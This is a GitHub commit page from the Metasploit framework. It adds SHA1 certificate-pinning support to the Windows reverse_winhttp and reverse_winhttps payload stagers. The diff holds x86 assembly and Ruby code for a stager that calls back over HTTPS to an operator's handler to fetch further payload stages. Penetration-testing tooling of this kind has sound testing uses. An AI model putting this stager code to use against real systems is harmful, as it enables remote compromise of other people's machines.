Skip to content

Commit 03019cf

Browse files
author
HD Moore
committed
Adds StagerVerifySSLCert support (SHA1 of HandlerSSLCert)
1 parent 1159380 commit 03019cf

File tree

2 files changed

+156
-10
lines changed

2 files changed

+156
-10
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 99 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -104,18 +104,29 @@ def asm_generate_wchar_array(str)
104104
def asm_reverse_winhttp(opts={})
105105

106106

107+
verify_ssl = nil
108+
encoded_cert_hash = nil
109+
107110
#
108-
# options should contain:
109-
# ssl: (true|false)
110-
# url: "/url_to_request"
111-
# host: [hostname]
112-
# port: [port]
113-
# exitfunk: [process|thread|seh|sleep]
111+
# options can contain contain:
112+
# ssl: (true|false)
113+
# url: "/url_to_request"
114+
# host: [hostname]
115+
# port: [port]
116+
# exitfunk: [process|thread|seh|sleep]
117+
# verify_ssl: (true|false)
118+
# verify_cert_hash: (40-byte SHA1 hash)
114119
#
115120

116121
encoded_url = asm_generate_wchar_array(opts[:url])
117122
encoded_host = asm_generate_wchar_array(opts[:host])
118123

124+
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
125+
verify_ssl = true
126+
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
127+
end
128+
129+
119130
http_open_flags = 0
120131

121132
if opts[:ssl]
@@ -137,7 +148,20 @@ def asm_reverse_winhttp(opts={})
137148
push esp ; Push a pointer to the "winhttp" string
138149
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
139150
call ebp ; LoadLibraryA( "winhttp" )
151+
^
140152

153+
if verify_ssl
154+
asm << %Q^
155+
load_crypt32:
156+
push 0x00323374 ; Push the string 'crypt32',0
157+
push 0x70797263 ; ...
158+
push esp ; Push a pointer to the "crypt32" string
159+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
160+
call ebp ; LoadLibraryA( "wincrypt" )
161+
^
162+
end
163+
164+
asm << %Q^
141165
set_retry:
142166
push.i8 6 ; retry 6 times
143167
pop edi
@@ -215,7 +239,7 @@ def asm_reverse_winhttp(opts={})
215239
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
216240
call ebp
217241
test eax,eax
218-
jnz receive_response ; if TRUE call WinHttpReceiveResponse API
242+
jnz check_response ; if TRUE call WinHttpReceiveResponse API
219243
220244
try_it_again:
221245
dec edi
@@ -237,10 +261,77 @@ def asm_reverse_winhttp(opts={})
237261
^
238262
end
239263

264+
# Jump target if the request was sent successfully
265+
asm << %Q^
266+
check_response:
267+
^
268+
269+
# Verify the SSL certificate hash
270+
if verify_ssl
271+
272+
asm << %Q^
273+
ssl_cert_get_context:
274+
push.i8 4
275+
mov ecx, esp ; Allocate &bufferLength
276+
push.i8 0
277+
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
278+
279+
push ecx ; &bufferLength
280+
push ebx ; &buffer
281+
push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
282+
push esi ; hHttpRequest
283+
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
284+
call ebp
285+
test eax, eax ;
286+
jz failure ; Bail out if we couldn't get the certificate context
287+
288+
; ebx
289+
ssl_cert_allocate_hash_space:
290+
push.i8 20 ;
291+
mov ecx, esp ; Store a reference to the address of 20
292+
sub esp,[ecx] ; Allocate 20 bytes for the hash output
293+
mov edi, esp ; edi will point to our buffer
294+
295+
ssl_cert_get_server_hash:
296+
push ecx ; &bufferLength
297+
push edi ; &buffer (20-byte SHA1 hash)
298+
push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
299+
push [ebx] ; *pCert
300+
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
301+
call ebp
302+
test eax, eax ;
303+
jz failure ; Bail out if we couldn't get the certificate context
304+
305+
ssl_cert_start_verify:
306+
call ssl_cert_compare_hashes
307+
db #{encoded_cert_hash}
308+
309+
ssl_cert_compare_hashes:
310+
pop ebx ; ebx points to our internal 20-byte certificate hash (overwites *pCert)
311+
; edi points to the server-provided certificate hash
312+
313+
push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
314+
pop ecx ;
315+
mov edx, ecx ; Keep a reference to 4 in edx
316+
317+
ssl_cert_verify_compare_loop:
318+
mov eax, [ebx] ; Grab the next DWORD of the hash
319+
cmp eax, [edi] ; Compare with the server hash
320+
jnz failure ; Bail out if the DWORD doesn't match
321+
add ebx, edx ; Increment internal hash pointer by 4
322+
add edi, edx ; Increment server hash pointer by 4
323+
loop ssl_cert_verify_compare_loop
324+
325+
; Our certificate hash was valid, hurray!
326+
ssl_cert_verify_cleanup:
327+
xor ebx, ebx ; Reset ebx back to zero
328+
^
329+
end
330+
240331
asm << %Q^
241332
receive_response:
242333
; The API WinHttpReceiveResponse needs to be called
243-
; first to get a valid handler for WinHttpReadData
334+
; first to get a valid handle for WinHttpReadData
244335
push ebx ; Reserved (NULL) [2]
245336
push esi ; Request handler returned by WinHttpSendRequest [1]
246337
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )

lib/msf/core/payload/windows/reverse_winhttps.rb

Lines changed: 57 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
require 'msf/core'
44
require 'msf/core/payload/windows/reverse_winhttp'
5+
require 'rex/parser/x509_certificate'
56

67
module Msf
78

@@ -17,6 +18,17 @@ module Payload::Windows::ReverseWinHttps
1718

1819
include Msf::Payload::Windows::ReverseWinHttp
1920

21+
#
22+
# Register reverse_winhttps specific options
23+
#
24+
def initialize(*args)
25+
super
26+
register_advanced_options(
27+
[
28+
OptBool.new('StagerVerifySSLCert', [true, 'Whether to verify the SSL certificate hash in the handler', false])
29+
], self.class)
30+
end
31+
2032
#
2133
# Generate and compile the stager
2234
#
@@ -37,26 +49,69 @@ def generate_reverse_winhttps(opts={})
3749
#
3850
def generate
3951

52+
verify_cert = false
53+
verify_cert_hash = nil
54+
55+
if datastore['StagerVerifySSLCert']
56+
unless datastore['HandlerSSLCert']
57+
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
58+
else
59+
verify_cert = true
60+
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
61+
unless hcert and hcert[0] and hcert[1]
62+
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
63+
end
64+
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
65+
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
66+
end
67+
end
68+
4069
# Generate the simple version of this stager if we don't have enough space
4170
if self.available_space.nil? || required_space > self.available_space
71+
72+
if datastore['StagerVerifySSLCert']
73+
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
74+
end
75+
4276
return generate_reverse_winhttps(
4377
ssl: true,
4478
host: datastore['LHOST'],
4579
port: datastore['LPORT'],
46-
url: generate_small_uri)
80+
url: generate_small_uri,
81+
verify_cert: verify_cert,
82+
verify_cert_hash: verify_cert_hash)
4783
end
4884

4985
conf = {
5086
ssl: true,
5187
host: datastore['LHOST'],
5288
port: datastore['LPORT'],
5389
url: generate_uri,
54-
exitfunk: datastore['EXITFUNC']
90+
exitfunk: datastore['EXITFUNC'],
91+
verify_cert: verify_cert,
92+
verify_cert_hash: verify_cert_hash
5593
}
5694

5795
generate_reverse_winhttps(conf)
5896
end
5997

98+
#
99+
# Determine the maximum amount of space required for the features requested
100+
#
101+
def required_space
102+
space = super
103+
104+
# SSL support adds 20 bytes
105+
space += 20
106+
107+
# SSL verification adds 120 bytes
108+
if datastore['StagerVerifySSLCert']
109+
space += 120
110+
end
111+
112+
space
113+
end
114+
60115
end
61116

62117
end

0 commit comments

Comments
 (0)